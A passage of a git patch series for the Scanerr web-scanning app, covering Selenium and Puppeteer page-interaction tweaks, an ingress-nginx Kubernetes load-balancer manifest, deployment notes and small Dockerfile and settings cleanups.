-                        max_wait_time=int(self.configs.get('max_wait_time', 30)),
-                    )                
-                    # scrolling to element using plain JavaScript
-                    self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
+                                    
                     # using selenium, press the selected key
                     element = self.driver.find_element(By.CSS_SELECTOR, selector)
                     element.send_keys(self.s_keys.get(step["action"]["key"], step["action"]["key"]))
@@ -413,14 +394,8 @@ def run_s(self):
                     print(f'asserting that element value -> {step["assertion"]["element"]} matches {step["assertion"]["value"]}')
                     # using selenium, find elememt and assert if element.text == assertion.text
                     selector = self.format_element_s(step["action"]["element"])
-                    driver_wait(
-                        driver=self.driver, 
-                        interval=int(self.configs.get('interval', 5)),  
-                        min_wait_time=int(self.configs.get('min_wait_time', 10)),
-                        max_wait_time=int(self.configs.get('max_wait_time', 30)),
-                    )
+                    
                     # scrolling to element using plain JavaScript
-                    self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
                     element = self.driver.find_element(By.CSS_SELECTOR, selector)
                     elementText = self.driver.execute_script(f'return document.querySelector("{selector}").textContent')
                     elementText = elementText.strip()
@@ -455,12 +430,7 @@ def run_s(self):
                     print(f'asserting that element -> {step["assertion"]["element"]} exists')
                     # using puppeteer, find elememt and assert it exists
                     selector = self.format_element_s(step["action"]["element"])
-                    driver_wait(
-                        driver=self.driver, 
-                        interval=int(self.configs.get('interval', 5)),  
-                        min_wait_time=int(self.configs.get('min_wait_time', 10)),
-                        max_wait_time=int(self.configs.get('max_wait_time', 30)),
-                    )
+                    
                     # scrolling to element using plain JavaScript
                     self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
                     element = self.driver.find_element(By.CSS_SELECTOR, selector)

From 58537dbc2aa3552e36d3df0c3caf88c396ed34a3 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 22 Mar 2024 09:58:49 -0600
Subject: [PATCH 420/752] updated video pausing scripts

---
 app/api/utils/image.py | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/app/api/utils/image.py b/app/api/utils/image.py
index 6b693f90..c832006d 100644
--- a/app/api/utils/image.py
+++ b/app/api/utils/image.py
@@ -63,7 +63,10 @@ def __init__(self, scan=None, configs=None):
 
         # scripts
         self.pause_video_script = (
-            "const video = document.querySelectorAll('video').forEach(vid => vid.pause());"
+            """
+            document.querySelectorAll('video').forEach(vid => vid.pause());
+            document.querySelectorAll('video').forEach(vid => vid.currentTime=0);
+            """ 
         )
 
         self.set_jquery = (

From 110b83d9d7ef9f91e156057fc40d6294205ae2db Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 22 Mar 2024 11:36:11 -0600
Subject: [PATCH 421/752] fix load balancer issues

---
 k8s/prod/app-deployment.yaml   |   2 +-
 k8s/prod/app-loadbalancer.yaml | 688 +++++++++++++++++++++++++++++++++
 notes/Kubernetes.md            |   5 +-
 3 files changed, 692 insertions(+), 3 deletions(-)
 create mode 100644 k8s/prod/app-loadbalancer.yaml

diff --git a/k8s/prod/app-deployment.yaml b/k8s/prod/app-deployment.yaml
index 269a8f3a..aed55a57 100644
--- a/k8s/prod/app-deployment.yaml
+++ b/k8s/prod/app-deployment.yaml
@@ -18,7 +18,7 @@ spec:
         - name: regcred
       containers:
         - name: scanerr-server
-          image: <IMAGE> # landonr/scanerr-server:04401a7 # 
+          image: <IMAGE> # scanerr/server:80a9a46 # 
           imagePullPolicy: Always
           ports:
             - containerPort: 8000
diff --git a/k8s/prod/app-loadbalancer.yaml b/k8s/prod/app-loadbalancer.yaml
new file mode 100644
index 00000000..f2c139cd
--- /dev/null
+++ b/k8s/prod/app-loadbalancer.yaml
@@ -0,0 +1,688 @@
+
+apiVersion: v1
+kind: Namespace
+metadata:
+  name: ingress-nginx
+  labels:
+    app.kubernetes.io/name: ingress-nginx
+    app.kubernetes.io/instance: ingress-nginx
+
+---
+# Source: ingress-nginx/templates/controller-serviceaccount.yaml
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  labels:
+    helm.sh/chart: ingress-nginx-4.0.15
+    app.kubernetes.io/name: ingress-nginx
+    app.kubernetes.io/instance: ingress-nginx
+    app.kubernetes.io/version: 1.1.1
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/component: controller
+  name: ingress-nginx
+  namespace: ingress-nginx
+automountServiceAccountToken: true
+---
+# Source: ingress-nginx/templates/controller-configmap.yaml
+apiVersion: v1
+kind: ConfigMap
+metadata:
+  labels:
+    helm.sh/chart: ingress-nginx-4.0.15
+    app.kubernetes.io/name: ingress-nginx
+    app.kubernetes.io/instance: ingress-nginx
+    app.kubernetes.io/version: 1.1.1
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/component: controller
+  name: ingress-nginx-controller
+  namespace: ingress-nginx
+data:
+  allow-snippet-annotations: 'true'
+  use-proxy-protocol: 'true'
+---
+# Source: ingress-nginx/templates/clusterrole.yaml
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRole
+metadata:
+  labels:
+    helm.sh/chart: ingress-nginx-4.0.15
+    app.kubernetes.io/name: ingress-nginx
+    app.kubernetes.io/instance: ingress-nginx
+    app.kubernetes.io/version: 1.1.1
+    app.kubernetes.io/managed-by: Helm
+  name: ingress-nginx
+rules:
+  - apiGroups:
+      - ''
+    resources:
+      - configmaps
+      - endpoints
+      - nodes
+      - pods
+      - secrets
+      - namespaces
+    verbs:
+      - list
+      - watch
+  - apiGroups:
+      - ''
+    resources:
+      - nodes
+    verbs:
+      - get
+  - apiGroups:
+      - ''
+    resources:
+      - services
+    verbs:
+      - get
+      - list
+      - watch
+  - apiGroups:
+      - networking.k8s.io
+    resources:
+      - ingresses
+    verbs:
+      - get
+      - list
+      - watch
+  - apiGroups:
+      - ''
+    resources:
+      - events
+    verbs:
+      - create
+      - patch
+  - apiGroups:
+      - networking.k8s.io
+    resources:
+      - ingresses/status
+    verbs:
+      - update
+  - apiGroups:
+      - networking.k8s.io
+    resources:
+      - ingressclasses
+    verbs:
+      - get
+      - list
+      - watch
+---
+# Source: ingress-nginx/templates/clusterrolebinding.yaml
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRoleBinding
+metadata:
+  labels:
+    helm.sh/chart: ingress-nginx-4.0.15
+    app.kubernetes.io/name: ingress-nginx
+    app.kubernetes.io/instance: ingress-nginx
+    app.kubernetes.io/version: 1.1.1
+    app.kubernetes.io/managed-by: Helm
+  name: ingress-nginx
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: ClusterRole
+  name: ingress-nginx
+subjects:
+  - kind: ServiceAccount
+    name: ingress-nginx
+    namespace: ingress-nginx
+---
+# Source: ingress-nginx/templates/controller-role.yaml
+apiVersion: rbac.authorization.k8s.io/v1
+kind: Role
+metadata:
+  labels:
+    helm.sh/chart: ingress-nginx-4.0.15
+    app.kubernetes.io/name: ingress-nginx
+    app.kubernetes.io/instance: ingress-nginx
+    app.kubernetes.io/version: 1.1.1
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/component: controller
+  name: ingress-nginx
+  namespace: ingress-nginx
+rules:
+  - apiGroups:
+      - ''
+    resources:
+      - namespaces
+    verbs:
+      - get
+  - apiGroups:
+      - ''
+    resources:
+      - configmaps
+      - pods
+      - secrets
+      - endpoints
+    verbs:
+      - get
+      - list
+      - watch
+  - apiGroups:
+      - ''
+    resources:
+      - services
+    verbs:
+      - get
+      - list
+      - watch
+  - apiGroups:
+      - networking.k8s.io
+    resources:
+      - ingresses
+    verbs:
+      - get
+      - list
+      - watch
+  - apiGroups:
+      - networking.k8s.io
+    resources:
+      - ingresses/status
+    verbs:
+      - update
+  - apiGroups:
+      - networking.k8s.io
+    resources:
+      - ingressclasses
+    verbs:
+      - get
+      - list
+      - watch
+  - apiGroups:
+      - ''
+    resources:
+      - configmaps
+    resourceNames:
+      - ingress-controller-leader
+    verbs:
+      - get
+      - update
+  - apiGroups:
+      - ''
+    resources:
+      - configmaps
+    verbs:
+      - create
+  - apiGroups:
+      - ''
+    resources:
+      - events
+    verbs:
+      - create
+      - patch
+---
+# Source: ingress-nginx/templates/controller-rolebinding.yaml
+apiVersion: rbac.authorization.k8s.io/v1
+kind: RoleBinding
+metadata:
+  labels:
+    helm.sh/chart: ingress-nginx-4.0.15
+    app.kubernetes.io/name: ingress-nginx
+    app.kubernetes.io/instance: ingress-nginx
+    app.kubernetes.io/version: 1.1.1
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/component: controller
+  name: ingress-nginx
+  namespace: ingress-nginx
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: Role
+  name: ingress-nginx
+subjects:
+  - kind: ServiceAccount
+    name: ingress-nginx
+    namespace: ingress-nginx
+---
+# Source: ingress-nginx/templates/controller-service-webhook.yaml
+apiVersion: v1
+kind: Service
+metadata:
+  labels:
+    helm.sh/chart: ingress-nginx-4.0.15
+    app.kubernetes.io/name: ingress-nginx
+    app.kubernetes.io/instance: ingress-nginx
+    app.kubernetes.io/version: 1.1.1
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/component: controller
+  name: ingress-nginx-controller-admission
+  namespace: ingress-nginx
+spec:
+  type: ClusterIP
+  ports:
+    - name: https-webhook
+      port: 443
+      targetPort: webhook
+      appProtocol: https
+  selector:
+    app.kubernetes.io/name: ingress-nginx
+    app.kubernetes.io/instance: ingress-nginx
+    app.kubernetes.io/component: controller
+---
+# Source: ingress-nginx/templates/controller-service.yaml
+apiVersion: v1
+kind: Service
+metadata:
+  annotations:
+    service.beta.kubernetes.io/do-loadbalancer-enable-proxy-protocol: 'true'
+    service.beta.kubernetes.io/do-loadbalancer-hostname: "api.scanerr.io"
+  labels:
+    helm.sh/chart: ingress-nginx-4.0.15
+    app.kubernetes.io/name: ingress-nginx
+    app.kubernetes.io/instance: ingress-nginx
+    app.kubernetes.io/version: 1.1.1
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/component: controller
+  name: ingress-nginx-controller
+  namespace: ingress-nginx
+spec:
+  type: LoadBalancer
+  externalTrafficPolicy: Cluster
+  ipFamilyPolicy: SingleStack
+  ipFamilies:
+    - IPv4
+  ports:
+    - name: http
+      port: 80
+      protocol: TCP
+      targetPort: http
+      appProtocol: http
+    - name: https
+      port: 443
+      protocol: TCP
+      targetPort: https
+      appProtocol: https
+  selector:
+    app.kubernetes.io/name: ingress-nginx
+    app.kubernetes.io/instance: ingress-nginx
+    app.kubernetes.io/component: controller
+---
+# Source: ingress-nginx/templates/controller-deployment.yaml
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels:
+    helm.sh/chart: ingress-nginx-4.0.15
+    app.kubernetes.io/name: ingress-nginx
+    app.kubernetes.io/instance: ingress-nginx
+    app.kubernetes.io/version: 1.1.1
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/component: controller
+  name: ingress-nginx-controller
+  namespace: ingress-nginx
+spec:
+  selector:
+    matchLabels:
+      app.kubernetes.io/name: ingress-nginx
+      app.kubernetes.io/instance: ingress-nginx
+      app.kubernetes.io/component: controller
+  revisionHistoryLimit: 10
+  minReadySeconds: 0
+  template:
+    metadata:
+      labels:
+        app.kubernetes.io/name: ingress-nginx
+        app.kubernetes.io/instance: ingress-nginx
+        app.kubernetes.io/component: controller
+    spec:
+      dnsPolicy: ClusterFirst
+      containers:
+        - name: controller
+          image: k8s.gcr.io/ingress-nginx/controller:v1.1.1@sha256:0bc88eb15f9e7f84e8e56c14fa5735aaa488b840983f87bd79b1054190e660de
+          imagePullPolicy: IfNotPresent
+          lifecycle:
+            preStop:
+              exec:
+                command:
+                  - /wait-shutdown
+          args:
+            - /nginx-ingress-controller
+            - --publish-service=$(POD_NAMESPACE)/ingress-nginx-controller
+            - --election-id=ingress-controller-leader
+            - --controller-class=k8s.io/ingress-nginx
+            - --configmap=$(POD_NAMESPACE)/ingress-nginx-controller
+            - --validating-webhook=:8443
+            - --validating-webhook-certificate=/usr/local/certificates/cert
+            - --validating-webhook-key=/usr/local/certificates/key
+          securityContext:
+            capabilities:
+              drop:
+                - ALL
+              add:
+                - NET_BIND_SERVICE
+            runAsUser: 101
+            allowPrivilegeEscalation: true
+          env:
+            - name: POD_NAME
+              valueFrom:
+                fieldRef:
+                  fieldPath: metadata.name
+            - name: POD_NAMESPACE
+              valueFrom:
+                fieldRef:
+                  fieldPath: metadata.namespace
+            - name: LD_PRELOAD
+              value: /usr/local/lib/libmimalloc.so
+          livenessProbe:
+            failureThreshold: 5
+            httpGet:
+              path: /healthz
+              port: 10254
+              scheme: HTTP
+            initialDelaySeconds: 10
+            periodSeconds: 10
+            successThreshold: 1
+            timeoutSeconds: 1
+          readinessProbe:
+            failureThreshold: 3
+            httpGet:
+              path: /healthz
+              port: 10254
+              scheme: HTTP
+            initialDelaySeconds: 10
+            periodSeconds: 10
+            successThreshold: 1
+            timeoutSeconds: 1
+          ports:
+            - name: http
+              containerPort: 80
+              protocol: TCP
+            - name: https
+              containerPort: 443
+              protocol: TCP
+            - name: webhook
+              containerPort: 8443
+              protocol: TCP
+          volumeMounts:
+            - name: webhook-cert
+              mountPath: /usr/local/certificates/
+              readOnly: true
+          resources:
+            requests:
+              cpu: 100m
+              memory: 90Mi
+      nodeSelector:
+        kubernetes.io/os: linux
+      serviceAccountName: ingress-nginx
+      terminationGracePeriodSeconds: 300
+      volumes:
+        - name: webhook-cert
+          secret:
+            secretName: ingress-nginx-admission
+---
+# Source: ingress-nginx/templates/controller-ingressclass.yaml
+# We don't support namespaced ingressClass yet
+# So a ClusterRole and a ClusterRoleBinding is required
+apiVersion: networking.k8s.io/v1
+kind: IngressClass
+metadata:
+  labels:
+    helm.sh/chart: ingress-nginx-4.0.15
+    app.kubernetes.io/name: ingress-nginx
+    app.kubernetes.io/instance: ingress-nginx
+    app.kubernetes.io/version: 1.1.1
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/component: controller
+  name: nginx
+  namespace: ingress-nginx
+spec:
+  controller: k8s.io/ingress-nginx
+---
+# Source: ingress-nginx/templates/admission-webhooks/validating-webhook.yaml
+# before changing this value, check the required kubernetes version
+# https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#prerequisites
+apiVersion: admissionregistration.k8s.io/v1
+kind: ValidatingWebhookConfiguration
+metadata:
+  labels:
+    helm.sh/chart: ingress-nginx-4.0.15
+    app.kubernetes.io/name: ingress-nginx
+    app.kubernetes.io/instance: ingress-nginx
+    app.kubernetes.io/version: 1.1.1
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/component: admission-webhook
+  name: ingress-nginx-admission
+webhooks:
+  - name: validate.nginx.ingress.kubernetes.io
+    matchPolicy: Equivalent
+    rules:
+      - apiGroups:
+          - networking.k8s.io
+        apiVersions:
+          - v1
+        operations:
+          - CREATE
+          - UPDATE
+        resources:
+          - ingresses
+    failurePolicy: Fail
+    sideEffects: None
+    admissionReviewVersions:
+      - v1
+    clientConfig:
+      service:
+        namespace: ingress-nginx
+        name: ingress-nginx-controller-admission
+        path: /networking/v1/ingresses
+    timeoutSeconds: 29
+---
+# Source: ingress-nginx/templates/admission-webhooks/job-patch/serviceaccount.yaml
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  name: ingress-nginx-admission
+  namespace: ingress-nginx
+  annotations:
+    helm.sh/hook: pre-install,pre-upgrade,post-install,post-upgrade
+    helm.sh/hook-delete-policy: before-hook-creation,hook-succeeded
+  labels:
+    helm.sh/chart: ingress-nginx-4.0.15
+    app.kubernetes.io/name: ingress-nginx
+    app.kubernetes.io/instance: ingress-nginx
+    app.kubernetes.io/version: 1.1.1
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/component: admission-webhook
+---
+# Source: ingress-nginx/templates/admission-webhooks/job-patch/clusterrole.yaml
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRole
+metadata:
+  name: ingress-nginx-admission
+  annotations:
+    helm.sh/hook: pre-install,pre-upgrade,post-install,post-upgrade
+    helm.sh/hook-delete-policy: before-hook-creation,hook-succeeded
+  labels:
+    helm.sh/chart: ingress-nginx-4.0.15
+    app.kubernetes.io/name: ingress-nginx
+    app.kubernetes.io/instance: ingress-nginx
+    app.kubernetes.io/version: 1.1.1
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/component: admission-webhook
+rules:
+  - apiGroups:
+      - admissionregistration.k8s.io
+    resources:
+      - validatingwebhookconfigurations
+    verbs:
+      - get
+      - update
+---
+# Source: ingress-nginx/templates/admission-webhooks/job-patch/clusterrolebinding.yaml
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRoleBinding
+metadata:
+  name: ingress-nginx-admission
+  annotations:
+    helm.sh/hook: pre-install,pre-upgrade,post-install,post-upgrade
+    helm.sh/hook-delete-policy: before-hook-creation,hook-succeeded
+  labels:
+    helm.sh/chart: ingress-nginx-4.0.15
+    app.kubernetes.io/name: ingress-nginx
+    app.kubernetes.io/instance: ingress-nginx
+    app.kubernetes.io/version: 1.1.1
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/component: admission-webhook
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: ClusterRole
+  name: ingress-nginx-admission
+subjects:
+  - kind: ServiceAccount
+    name: ingress-nginx-admission
+    namespace: ingress-nginx
+---
+# Source: ingress-nginx/templates/admission-webhooks/job-patch/role.yaml
+apiVersion: rbac.authorization.k8s.io/v1
+kind: Role
+metadata:
+  name: ingress-nginx-admission
+  namespace: ingress-nginx
+  annotations:
+    helm.sh/hook: pre-install,pre-upgrade,post-install,post-upgrade
+    helm.sh/hook-delete-policy: before-hook-creation,hook-succeeded
+  labels:
+    helm.sh/chart: ingress-nginx-4.0.15
+    app.kubernetes.io/name: ingress-nginx
+    app.kubernetes.io/instance: ingress-nginx
+    app.kubernetes.io/version: 1.1.1
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/component: admission-webhook
+rules:
+  - apiGroups:
+      - ''
+    resources:
+      - secrets
+    verbs:
+      - get
+      - create
+---
+# Source: ingress-nginx/templates/admission-webhooks/job-patch/rolebinding.yaml
+apiVersion: rbac.authorization.k8s.io/v1
+kind: RoleBinding
+metadata:
+  name: ingress-nginx-admission
+  namespace: ingress-nginx
+  annotations:
+    helm.sh/hook: pre-install,pre-upgrade,post-install,post-upgrade
+    helm.sh/hook-delete-policy: before-hook-creation,hook-succeeded
+  labels:
+    helm.sh/chart: ingress-nginx-4.0.15
+    app.kubernetes.io/name: ingress-nginx
+    app.kubernetes.io/instance: ingress-nginx
+    app.kubernetes.io/version: 1.1.1
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/component: admission-webhook
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: Role
+  name: ingress-nginx-admission
+subjects:
+  - kind: ServiceAccount
+    name: ingress-nginx-admission
+    namespace: ingress-nginx
+---
+# Source: ingress-nginx/templates/admission-webhooks/job-patch/job-createSecret.yaml
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: ingress-nginx-admission-create
+  namespace: ingress-nginx
+  annotations:
+    helm.sh/hook: pre-install,pre-upgrade
+    helm.sh/hook-delete-policy: before-hook-creation,hook-succeeded
+  labels:
+    helm.sh/chart: ingress-nginx-4.0.15
+    app.kubernetes.io/name: ingress-nginx
+    app.kubernetes.io/instance: ingress-nginx
+    app.kubernetes.io/version: 1.1.1
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/component: admission-webhook
+spec:
+  template:
+    metadata:
+      name: ingress-nginx-admission-create
+      labels:
+        helm.sh/chart: ingress-nginx-4.0.15
+        app.kubernetes.io/name: ingress-nginx
+        app.kubernetes.io/instance: ingress-nginx
+        app.kubernetes.io/version: 1.1.1
+        app.kubernetes.io/managed-by: Helm
+        app.kubernetes.io/component: admission-webhook
+    spec:
+      containers:
+        - name: create
+          image: k8s.gcr.io/ingress-nginx/kube-webhook-certgen:v1.1.1@sha256:64d8c73dca984af206adf9d6d7e46aa550362b1d7a01f3a0a91b20cc67868660
+          imagePullPolicy: IfNotPresent
+          args:
+            - create
+            - --host=ingress-nginx-controller-admission,ingress-nginx-controller-admission.$(POD_NAMESPACE).svc
+            - --namespace=$(POD_NAMESPACE)
+            - --secret-name=ingress-nginx-admission
+          env:
+            - name: POD_NAMESPACE
+              valueFrom:
+                fieldRef:
+                  fieldPath: metadata.namespace
+          securityContext:
+            allowPrivilegeEscalation: false
+      restartPolicy: OnFailure
+      serviceAccountName: ingress-nginx-admission
+      nodeSelector:
+        kubernetes.io/os: linux
+      securityContext:
+        runAsNonRoot: true
+        runAsUser: 2000
+---
+# Source: ingress-nginx/templates/admission-webhooks/job-patch/job-patchWebhook.yaml
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: ingress-nginx-admission-patch
+  namespace: ingress-nginx
+  annotations:
+    helm.sh/hook: post-install,post-upgrade
+    helm.sh/hook-delete-policy: before-hook-creation,hook-succeeded
+  labels:
+    helm.sh/chart: ingress-nginx-4.0.15
+    app.kubernetes.io/name: ingress-nginx
+    app.kubernetes.io/instance: ingress-nginx
+    app.kubernetes.io/version: 1.1.1
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/component: admission-webhook
+spec:
+  template:
+    metadata:
+      name: ingress-nginx-admission-patch
+      labels:
+        helm.sh/chart: ingress-nginx-4.0.15
+        app.kubernetes.io/name: ingress-nginx
+        app.kubernetes.io/instance: ingress-nginx
+        app.kubernetes.io/version: 1.1.1
+        app.kubernetes.io/managed-by: Helm
+        app.kubernetes.io/component: admission-webhook
+    spec:
+      containers:
+        - name: patch
+          image: k8s.gcr.io/ingress-nginx/kube-webhook-certgen:v1.1.1@sha256:64d8c73dca984af206adf9d6d7e46aa550362b1d7a01f3a0a91b20cc67868660
+          imagePullPolicy: IfNotPresent
+          args:
+            - patch
+            - --webhook-name=ingress-nginx-admission
+            - --namespace=$(POD_NAMESPACE)
+            - --patch-mutating=false
+            - --secret-name=ingress-nginx-admission
+            - --patch-failure-policy=Fail
+          env:
+            - name: POD_NAMESPACE
+              valueFrom:
+                fieldRef:
+                  fieldPath: metadata.namespace
+          securityContext:
+            allowPrivilegeEscalation: false
+      restartPolicy: OnFailure
+      serviceAccountName: ingress-nginx-admission
+      nodeSelector:
+        kubernetes.io/os: linux
+      securityContext:
+        runAsNonRoot: true
+        runAsUser: 2000
\ No newline at end of file
diff --git a/notes/Kubernetes.md b/notes/Kubernetes.md
index af3516c1..01a484fd 100644
--- a/notes/Kubernetes.md
+++ b/notes/Kubernetes.md
@@ -96,11 +96,12 @@ kubectl port-forward service/app-service 8000:8000
 
 
 ### 2. Install nginx ingress controler on cluster
-- `kubectl apply -f https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.1.1/deploy/static/provider/do/deploy.yaml`
+- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-loadbalancer.yaml`
 - Then add and `A` record for domain that points to new loadbalancer
+  - ref -> https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.1.1/deploy/static/provider/do/deploy.yaml
 
 
-### 3. Update ingress-nginx-controler "Service file" with domain
+### 3. Update ingress-nginx-controler "Service file" with domain - if not already updated.
 - add the below annotation 
 - `service.beta.kubernetes.io/do-loadbalancer-hostname: "api.scanerr.io"`
 

From e136a1d205b0bf77de5f07d68ebad83811bc9126 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Sat, 23 Mar 2024 08:04:39 -0600
Subject: [PATCH 422/752] cleaning things up

---
 app/scanerr/settings.py | 3 ---
 1 file changed, 3 deletions(-)

diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py
index c1fd4878..6ced2588 100644
--- a/app/scanerr/settings.py
+++ b/app/scanerr/settings.py
@@ -190,8 +190,6 @@
     'CacheControl': 'max-age=86400',
 }
 
-
-
 # Redis and Celery Config
 CELERY_BROKER_URL = "redis://redis:6379"
 
@@ -199,7 +197,6 @@
 # CELERY_BROKER_URL = "amqp://rabbitmq"
 
 
-
 # Default primary key field type
 # https://docs.djangoproject.com/en/3.2/ref/settings/#default-auto-field
 DEFAULT_AUTO_FIELD = 'django.db.models.BigAutoField'

From 0e2b4ec62f3226450cc7f14d80994d590c47d8b8 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 26 Mar 2024 16:50:31 -0700
Subject: [PATCH 423/752] increased npm allocation

---
 Dockerfile | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 32cf3c07..c53676de 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -3,8 +3,8 @@ FROM python:3.9-slim
 ENV PYTHONUNBUFFERED 1
 
 # increasing allocated memory to node
-ENV NODE_OPTIONS --max_old_space_size=2000
-ENV NODE_OPTIONS "--max-old-space-size=2000"
+ENV NODE_OPTIONS --max_old_space_size=20000
+ENV NODE_OPTIONS "--max-old-space-size=20000"
 ENV GENERATE_SOURCEMAP false
 
 # telling Puppeteer to skip installing Chrome

From 77535762ee682d53e1a87206ccea6b8d316bc738 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 27 Mar 2024 08:43:09 -0700
Subject: [PATCH 424/752] fixing driver_interact()

---
 app/api/utils/driver_s.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/driver_s.py b/app/api/utils/driver_s.py
index 256963f4..f400749a 100644
--- a/app/api/utils/driver_s.py
+++ b/app/api/utils/driver_s.py
@@ -120,7 +120,7 @@ def get_request_list(driver):
 
     def interact_with_page(driver):
         # simulate mouse movement and click on <html> tag
-        html_tag = driver.find_elements(By.TAG_NAME, 'html')[0]
+        html_tag = driver.find_elements(By.TAG_NAME, 'div')[0]
         action = ActionChains(driver)
         action.move_to_element(html_tag).perform()
         return

From 5d24d8911e5576a17d45fe868af50c4afdedb4fb Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 27 Mar 2024 09:05:25 -0700
Subject: [PATCH 425/752] updating driver_interact()

---
 app/api/utils/driver_p.py | 2 +-
 app/api/utils/driver_s.py | 7 ++++---
 2 files changed, 5 insertions(+), 4 deletions(-)

diff --git a/app/api/utils/driver_p.py b/app/api/utils/driver_p.py
index 1ac43027..1cd44037 100644
--- a/app/api/utils/driver_p.py
+++ b/app/api/utils/driver_p.py
@@ -46,7 +46,7 @@ async def driver_init(
 async def interact_with_page(page):
     # simulate mouse movement
     await page.mouse.move(0, 0)
-    await page.mouse.move(0, 100)
+    await page.mouse.move(0, 50)
 
     return page
 
diff --git a/app/api/utils/driver_s.py b/app/api/utils/driver_s.py
index f400749a..7cf6a365 100644
--- a/app/api/utils/driver_s.py
+++ b/app/api/utils/driver_s.py
@@ -119,10 +119,11 @@ def get_request_list(driver):
 
 
     def interact_with_page(driver):
-        # simulate mouse movement and click on <html> tag
-        html_tag = driver.find_elements(By.TAG_NAME, 'div')[0]
+        # simulate mouse movement
         action = ActionChains(driver)
-        action.move_to_element(html_tag).perform()
+        action.pointer_action.move_to_location(0, 0).perform()
+        time.sleep(1)
+        action.pointer_action.move_to_location(0, 50).perform()
         return
 
 

From 18fd741c1269aca1e78c00f60143cd3f00d110d3 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 27 Mar 2024 09:07:08 -0700
Subject: [PATCH 426/752] moved driver_interact()

---
 app/api/utils/driver_s.py | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/driver_s.py b/app/api/utils/driver_s.py
index 7cf6a365..4c88ec27 100644
--- a/app/api/utils/driver_s.py
+++ b/app/api/utils/driver_s.py
@@ -131,8 +131,7 @@ def interact_with_page(driver):
     page_state = 'loading'
     wait_time = 0
 
-    # actions before comparing network logs
-    interact_with_page(driver)
+    # min_wait_time before checking page status
     time.sleep(min_wait_time)
 
     while int(wait_time) < int(max_wait_time) and page_state != 'complete':
@@ -152,6 +151,9 @@ def interact_with_page(driver):
         print(f'document state is {page_state}')
         
         wait_time += interval
+    
+    # interacting with page once available
+    interact_with_page(driver)
 
     return
 

From bb42d81781192eea05db3e86d05c9370ac5a2862 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 27 Mar 2024 09:22:16 -0700
Subject: [PATCH 427/752] fixed import error

---
 app/api/utils/driver_s.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/driver_s.py b/app/api/utils/driver_s.py
index 4c88ec27..a9b6f015 100644
--- a/app/api/utils/driver_s.py
+++ b/app/api/utils/driver_s.py
@@ -1,5 +1,5 @@
 from selenium import webdriver
-from selenium.webdriver import ActionChains
+from selenium.webdriver import ActionChains, ActionBuilder
 from selenium.webdriver.common.by import By
 import time, os, numpy, json, sys
 
@@ -120,7 +120,7 @@ def get_request_list(driver):
 
     def interact_with_page(driver):
         # simulate mouse movement
-        action = ActionChains(driver)
+        action = ActionBuilder(driver)
         action.pointer_action.move_to_location(0, 0).perform()
         time.sleep(1)
         action.pointer_action.move_to_location(0, 50).perform()

From 44ff140a158ae641f76472d68a726f846ba998e1 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 27 Mar 2024 09:51:48 -0700
Subject: [PATCH 428/752] fixing import issues

---
 app/api/utils/driver_s.py | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/app/api/utils/driver_s.py b/app/api/utils/driver_s.py
index a9b6f015..c190a893 100644
--- a/app/api/utils/driver_s.py
+++ b/app/api/utils/driver_s.py
